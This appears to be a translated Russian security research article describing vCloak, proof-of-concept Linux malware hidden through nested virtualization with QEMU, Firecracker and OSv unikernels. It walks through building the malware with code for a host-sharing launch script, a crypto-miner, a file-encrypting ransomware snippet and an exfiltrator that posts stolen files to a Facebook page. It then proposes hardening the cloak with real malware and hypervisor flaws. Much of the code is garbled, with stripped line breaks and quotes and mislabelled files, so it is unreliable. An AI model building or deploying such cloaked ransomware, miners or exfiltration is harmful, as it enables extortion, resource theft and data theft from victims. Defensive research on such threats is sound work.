В этой публикации мы расскажем, кто может стать жертвой таких приемов, дадим обзор исследований, направленных на понимании этого сегмента угроз с учетом новейших приемов виртуализации, подробно разобравшись в vCloak (виртуальном камуфляже) для Linux. Это PoC-проект, позиционируемый как доказательство осуществимости. Мы создадим многоуровневое закамуфлированное вредоносное ПО, которое будет незаметным и минималистичным, но все равно будет обладать той портируемостью, персистентностью и надежностью, для достижения которых применяется виртуализация. Мы хотим развеять мифы, касающиеся этого нового вектора атак и помочь вам лучше понять, как устроен этот новый вектор атак, и объяснить, каким образом злоумышленник может воспользоваться виртуализацией в качестве оружия. Не поленитесь дочитать: в качестве бонуса мы расскажем и о некоторых способах смягчения вредоносности этих атак.

Предыстория виртуализации


Как упоминалось выше, виртуализация это акт абстрагирования аппаратного обеспечения. Но, чтобы лучше понять материал этого поста, нужно углубиться в тему немного сильнее. Итак, давайте перенесемся к тому моменту, с которого началась эпоха виртуализации. Идея виртуализовать аппаратное обеспечение не нова; ее корни можно проследить до 1960-х, когда IBM потратила немало сил на реализацию новой концепции под названием разделение времени (рис. 2).В простейшем виде концепция сводится к следующему: пользователи могут совместно использовать процессор благодаря непрерывному сверхскоростному переключению контекстов. К этой идее удалось прийти, заметив, что каждый пользователь успевает потребить лишь малую толику потенциала всего компьютера. Учитывая, что в те времена компьютер занимал целую комнату и стоил около 20 миллионов долларов США (с поправкой на инфляцию), казалось целесообразным использовать его на полную. Современная виртуализация опирается на тот же принцип совместное использование ресурсов машины, но с поддержанием логического разделения.


Рис. 1: Пульт управления IBM 7094, где была впервые реализована концепция разделения времени (изображение принадлежит пользователю Wikipedia ArnoldReinhold, лицензировано подCreative Commons BY-SA 3.0)

С чего начиналась современная виртуализация


В статье Formal Requirements for Virtualizable Third Generation Architectures (Формальные требования к виртуализируемым архитектурам третьего поколения)Джеральд Попек и Роберт Голдберг ввели первую четко определенную модель виртуализации, заложившую основы концепций, применяемых по сей день (рисунок 3). В этой статье были представлены некоторые базовые требования к виртуализации, а также классифицированы и проанализированы различные машинные команды. Ниже в формате шпаргалки дан обзор вышеупомянутых концепций.


1971 Representation // Как виртуализацию видели в 1971

Modern Representation // Современное представление

VMM // Монитор виртуальной машины

Hardware // Железо

VM // Виртуальная машина

Applications // Приложения

Operating System // Операционная система

Virtual Machine // Виртуальная машина

Virtual Machine Monitor // Монитор виртуальной машины

Physical Machine/Hardware // Физическая машина/железо

Рисунок 2: Сравнение: представление Попека и Голдберга vs современное обобщенное представление (взято изusenix)

Глоссарий по виртуализации


  • Гипервизор/VMM (Монитор виртуальной машины) мозг, обеспечивающий виртуализацию: он абстрагирует, изолирует виртуальное аппаратное железо и управляет им.
  • Хост-машина машина (физическая или виртуальная), на которой выполняется VMM
  • Гость /VM/Виртуальная машина машина, основанная на абстрактном аппаратном обеспечении и изолированном программном, предоставляемом machine VMM
  • Кольца защиты:
  • Четыре периметра (кольцо 0 кольцо 3) иерархии предметной области, обеспечиваемые на аппаратном уровне
  • Применяется для отграничения пространства ядра (обычно кольцо 0) от пользовательского пространства (обычно кольцо 3) или гостевой VM от хостовой VM/VMM
  • Железо проверяет текущий уровень привилегий(CPL), указанный вCS (сегменте с кодом)выполняющего процесса, сравнивая этот показатель сDPL (уровнем привилегий дескриптора), относящимся к целевой области памяти
  • Привилегированные инструкции:
  • Как правило, необходимо выполнять в кольце 0
  • Управляют критически важным низкоуровевым исполнением (HLT,LIDT)
  • Отображение в памяти (INVLPG)
  • Чтение/запись в специальные регистры (RDMSR,WRMSR,MOVCRx)
  • Могут предоставлять неограниченный доступ к хостовой OS
  • Чувствительные инструкции чтение и запись в MMIO (ввод-вывод через память) и устройства ввода/вывода (IN/OUT,MOV <MEMORY_MAPPED_REGISTER>)
    Эти инструкции действуют по-разному в зависимости от того, в каком кольце защиты находятся (POPF)
    Могут предоставлять неограниченный доступ через гостевую VM
  • Инструкции перехвата перехват команд и перенаправление логики управления
  • Эмуляция Программы, действующие как имитация аппаратного обеспечения с издержками на трансляцию
  • Полная виртуализация:
  • Критически важные инструкции, обнаруживаемые статически или динамически и заменяемые прерываниями, которые инициируют эмулированное выполнение
  • Работает весьма медленно из-за издержек, связанных с эмуляцией
  • Паравиртуализация:
  • Эмуляция с учетом присутствия гостевой системы, заменяющая чувствительные инструкции API-вызовами к гостю
  • Работает весьма быстро, но при этом негибко, поскольку гостя нужно модифицировать
  • Виртуализация с аппаратной поддержкой
  • Абстрагирование и поддержка чувствительных инструкций с поддержкой на уровне железа
  • Наиболее эффективный вариант, но зависит от архитектуры (напр., x86 vs AMD)


Рисунок 3: Типы виртуализации

Virtualization // Виртуализация

Bare metal hypervisors // Гипервизоры для голого железа

Hosted Hypervisors // Хостовые гипервизоры

Emulators // Эмуляторы

Hardware virtualiaztion // Аппаратная виртуализация

Интуитивное представление о виртуализации


В вышеприведенном глоссарии, как и в любой шпаргалке, для полноты восприятия не хватает контекста, зато много модных словечек (см. рис. 4). Мы попытаемся обобщить важнейшие из перечисленных элементов, пожертвовав некоторыми деталями для большей ясности. Как понятно из глоссария, один из самых сложных участков работы при виртуализации связан с обработкой привилегированных/чувствительных инструкций.

Привилегированными называются такие инструкции, которые позволяют вызывающей стороне получить контроль над критически важными ресурсами. Они принципиально важны для защиты системы от вредоносных действий и неконтролируемых программ из пользовательского пространства. Таковы, например, инструкции HLT (контроль потока выполнения в CPU с возможностью приостановки), влияние на отображение в памяти путем инвалидации страничных записей в буфере ассоциативной трансляции(INVLPG) или доступ к специальным регистрам (RDMSR, WRMSR, MOV CR). Привилегированные инструкции могут предоставить неограниченный доступ хост-машине (например, контроль над всеми обработчиками прерываний).

Чувствительные инструкции можно трактовать как инструкции, привилегированные с точки зрения гостя. К их числу относятся такие операции как взаимодействие с устройствами ввода/вывода (IN/OUT), запись в регистры, отображаемые в память (MOV ) или такие инструкции, которые работают по-разному в зависимости от того, в каком кольце защиты выполняются; такова, например, запись в регистр EFLAGS (POPF). Чувствительные инструкции могут предоставить неограниченный доступ к гостевой машине (например, запись непосредственно в устройства ввода/вывода и получение хост-привилегий).

Кольца защиты применяются для перехвата привилегированных инструкций и активации ядра для обработки их выполнения. Однако не так давно еще не существовало аппаратной поддержки для подобного подхватывания чувствительных инструкций, что не обязательно представляет опасность для хоста, но вот для гостя та еще точка отказов. Приемы, основанные на работе с программным обеспечением, в частности, эмуляция с использованием статической или динамической двоичной трансляции или паравиртуализации через модификацию гостя применяются, но ценой серьезного снижения производительности/гибкости.

В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого кольцо 1 или режим администратора). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представилиVT-xиAMD-V, соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на виртуализацию блока управления памятью (MMU). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности что бесценно в облачной среде.

Виртуализуй и защищай



Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем ВикипедииV4711, по лицензииCreative Commons BY-SA 4.0)

Важнейший довод в пользу виртуализации использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.

Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:

  • Драйверы и совместное использование (Рисунок 5, Круг #1):
  • Мгновенные снимки (Рисунок 5, Круг #2):
  • Побег из песочницы (Рисунок 5, Круг #3):
  • Типы уязвимостей:


Виртуализуй и атакуй


Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу Bashware, показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.

14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием RagnarLocker. Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем Maze.

Во всех атаках, рассмотренных выше, использовался VirtualBox,и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:

  • Доверенный гипервизор если гипервизор является доверенным, то выполняющий его гость также является доверенным
  • Бэкдор злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора
  • Практическая невидимость современные механизмы защиты не видят внутреннего состояния VM
  • Присущее технологии закрепление SSL-сертификата на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
  • Присущее технологии камуфлирование вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить
  • Полностью контролируется атакующим упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
  • Портируемость высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения
  • Персистентность планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять (ShadowBunny)
  • Эффект неожиданности такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован

При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой темный аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.

Виртуализация с аппаратной поддержкой и KVM


Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.

Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:

Режим администратора

  • VMXOFF, VMXON
  • VMWRITE и VMREAD

Непривилегированный (гостевой) режим

  • VMLUANCH и VMRESUME

VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.

К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.

История атаки


Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)

  1. Привилегированный процесс ветвит и распаковывает vCloak1 в дочерний процесс (предполагается)
  2. vCloak1 конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
  3. Из Ubuntu vCloak2 конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже):


Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.



Рисунок 5: Ход атаки

Подготовка камуфляжа для уровня 1


Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехомскомпилировать Ubuntu для firecracker) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:

attacker@host:~$ git clone https://github.com/ch-mk/vCloak.gitattacker@host:~$ cd PoCattacker@host:~/PoC$ cat vcloak1.sh# запускаем демон virtio, чтобы предоставить файлы хостаvirtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntuqemu-system-x86_64 \-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \-device vhost-user-fs-pci,chardev=char0,tag=myfs \-object memory-backend-memfd,id=mem,size=4G,share=on \-numa node,memdev=mem \attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа


Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs

В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.

Подготовка камуфляжа для уровня 2


vCloak2 выполняет ядро VT-x с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием Вложенная виртуализация.

attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVMkvm_intel 282624 0kvm 663552 1 kvm_intel

Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа

Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде kernel.elf, с единственным процессом, выполняемым из корневой директории (/) файловой системы, передаваемой как fs.img. Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.

attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontabdef main(options):# Проверяем, установлен ли firecracker is installeddirname = os.path.dirname(os.path.abspath(__file__))firecracker_path = find_firecracker(dirname, options.arch)# Firecracker установлен, так что начнемprint_time(Start)socket_path = '/tmp/firecracker.socket'if options.api:firecracker = start_firecracker(firecracker_path, socket_path)# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машиныkernel_path = options.kernelif not kernel_path:kernel_path = os.path.join(dirname, '../build/release/kernel.elf')qemu_disk_path = options.imageif not qemu_disk_path:qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')raw_disk_path = disk_path(qemu_disk_path)cmdline = options.executeif not cmdline:with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:cmdline = f.read()if options.arch == 'aarch64':cmdline = console=tty --disable_rofs_cache %s % cmdlineelse:cmdline = --nopci %s % cmdlineclient.configure_machine(options.vcpus, memory_in_mb)print_time(Configured VM)client.add_disk(raw_disk_path)print_time(Added disk)if options.networking:client.add_network_interface('eth0', 'fc_tap0')client.create_instance(kernel_path, cmdline)print_time(Created OSv VM with cmdline: %s % cmdline)if not options.api:if options.verbose:print(client.firecracker_config_json())firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())else:client.start_instance()print_time(Booted OSv VM)attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontabattacker@vcloak1:~$ sudo apt update

Листинг 3: vcloak2.py выполняет три контейнера VT-x

Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения OSv. OSv это свободное универсальное модульное ядро вида unikernel, рассчитанное на безопасную поддержку единичногонемодифицированного приложения Linux в виде microVM поверх гипервизора, в результате чего получается минимальное ядро, совместимое с Linux на уровне двоичного кода.Такие решения как OSv это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.

Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:

attacker@vcloak1:~$ sudo apt updateattacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-devattacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repositoryattacker@vcloak1:~$ cd osvattacker@vcloak1:~/osv$ git submodule update --init recursive # install # install examples and other dependenciesattacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world apptotal 40-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifestattacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code#includeint main(){printf(Hello from C code\n);return 0;}attacker@vcloak1:~/osv$ ./scripts/build image=native-example #lets wrap out app with OSv unikernelattacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv buildOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /helloHello from C code

Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой

Аналогично, можно собрать приложение OSv и на Python:

In a very similar way we can build an OSv app with python:attacker@vcloak1:~/osv$ ./scripts/build image=python2xattacker@vcloak1:~/osv$ ./scripts/run.pyOSv v0.55.0-157-g0cf6acc7eth0: 192.168.122.15Booted up in 0.00 msCmdline: /pythonPython 2.7.18 (default, Aug 4 2020, 11:16:42)[GCC 9.3.0] on linux2Type help, copyright, credits or license for more information.>>>


Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки

Как было кратко продемонстрировано выше, OSv это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице OSv в GitHub. На данном этапе все, что нам остается доделать написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.


Рисунок 6: Вложенная виртуализация порой бывает немного запутанной

Вложенная виртуализация


Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.

Такое зачаточное состояние достижимо благодаря вложенной виртуализации возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин уровень камуфляжа, поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 это виртуальная машина, исполняемая с физического хоста; L2 это виртуальная машина, выполняемая с гостевой машины L1).

Создание майнера


В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем опенсорсный майнер, разработанный subhan-nadeem:

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматическиimport hashlibdef get_sha_256_hash(input_value):return hashlib.sha256(input_value).hexdigest()def block_hash_less_than_target(block_hash, given_target):return int(block_hash, 16) < int(given_target, 16)# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)blockData = \'01000000000000000000000000000000000000000000000000000000000000000000000' \'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \.encode()# Исходная цель  так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойнаtarget = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'solution_found = Falseblock_data_hexadecimal_value = int(blockData, 16)nonce = 0while not solution_found:block_data_with_nonce = block_data_hexadecimal_value + nonce# Найти двойной хешfirst_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())second_hash = get_sha_256_hash(first_hash.encode())print('Nonce: ' + str(nonce))print('Block hash:')print(second_hash)print('Is the block hash less than the target?')solution_found = block_hash_less_than_target(second_hash, target)print(solution_found)if not solution_found:nonce += 1


Листинг 6: Фрагменты кода из майнера

Создаем код вымогателя

Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим PoC-версию вымогателя под авторством guihermej:

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически# Открыть файлfile_name = foto.jpgfile = open(file_name, rb)file_data = file.read()file.close()# Удалить файл#os.remove(file_name)# Зашифровать данные файла (при помощи AES)key = 0123456789abcdef # 16-байтный ключ  замена для вашего ключаaes = pyaes.AESModeOfOperationCTR(key)crypto_data = aes.encrypt(file_data)# Сохранить файлnew_file_name = file_name + .pyransom # Путь, чтобы сбросить файлnew_file = open(new_file_name, 'wb')new_file.write(crypto_data)new_file.close()


Листинг 7: Фрагменты кода из вымогателя

Создание извлекателя


Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое свободное закрепление SSL-сертификата. Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с GitHub от zone13.

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматическиimport facebook, time, base64, textwrapdef main():cfg = {# Заполняем идентификатор страницы и обращаемся к токену, приведенному нижеpage_id : ,access_token : }api = get_api(cfg)# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64msg = file_read_into_array()# Вычисляем, сколько постов нужно сделатьchunks = (len(msg) / float(50000))if isinstance(chunks, float) or (a == 0):chunks = int(chunks) + 1# Дробим данные base-64 на фрагменты по 50 000 символов каждыйfile_array = textwrap.wrap(msg, 50000)# Публикуем данные на странице Facebookfor i in range(chunks):status = api.put_wall_post(Part#### + str(i) +   + file_array[i])time.sleep(0.5)# Функция для чтения zip-файла и кодировки base-64def file_read_into_array():with open(secret.zip, rb) as f:a = f.read()encoded_data = base64.encodestring(a)return encoded_data# Основная функция для публикации данных на Facebookdef get_api(cfg):graph = facebook.GraphAPI(cfg['access_token'])resp = graph.get_object('me/accounts')page_access_token = Nonefor page in resp['data']:if page['id'] == cfg['page_id']:page_access_token = page['access_token']graph = facebook.GraphAPI(page_access_token)return graphif __name__ == __main__:main()

Листинг 8: Фрагменты кода Извлекателя

Повторение и анализ


Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.

Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).


Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации

Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.

Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.

Дальнейшие исследования и оптимизация



Рисунок 8: Таблица для самопроверки

В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание укреплению нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).

  • Извлекатель для совместно используемой памяти можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
  • Извлекатель для совместно используемой сети в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
  • Вредоносы для промышленного использования мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
  • Среда времени исполнения как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
  • Гипервизор пользовательского пространства На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
  • Гипервизор пространства ядра может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
  • Укрепление Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
  • Расширенная область атаки на хост такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.

Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для повышения эффективности камуфляжа. Гонка между злоумышленниками и охранителями сетей бескомпромиссная и непрестанная. Надеемся, что информация, изложенная в этой статье, немного поможет читателям войти в тему.

Инструменты


Занимаясь исследованием виртуализации, я создал несколько инструментов, которые помогли мне в этих изысканиях:


Устранение угрозы


Вселенная виртуальных машин и операционных систем стремительно расширяется, новые программные и аппаратные возможности появляются одновременно. Исследование этих новых возможностей с точки зрения развертывания вредоносного ПО может помочь командам, занимающимся обеспечением информационной безопасности

Устранять некоторые вредоносные варианты поведения, замаскированные при помощи виртуализации, весьма сложно, поскольку в виртуализованном пространстве ничего не видно. Есть некоторые способы подсвечивать эти слепые пятна, но в настоящее время отсутствует стандартное или нативное решение такого рода. Правда, если исследовать всю цепь атаки, то можно обнаружить некоторые очень эффективные контрмеры, позволяющие противодействовать злонамеренной виртуализации.

Что можно сделать/доступные ресурсы:


Частично доступно или недоступно:

  • Видимость внутри состояния виртуальной машины
  • Создание монитора виртуальной машины
  • Выявление аномалий при потреблении ресурсов хоста виртуальной машиной

Заключение


Виртуализация это круто! На основании абстрагирования, обеспечиваемого при помощи виртуализации, построены многие инновационные вещи, в частности, облака, машины конечных точек и даже новейшие автомобили. Виртуализация усиливает производительность и безопасность вообще, но у нее есть и темная сторона. Как показали недавние реальные атаки, и как рассмотрено в этой статье, злоумышленник может обратить себе на пользу многие из возможностей виртуализации. Использование новейших технологий, в частности, VT-x и минималистичных песочниц, позволяет сделать виртуализацию еще более малозаметной.

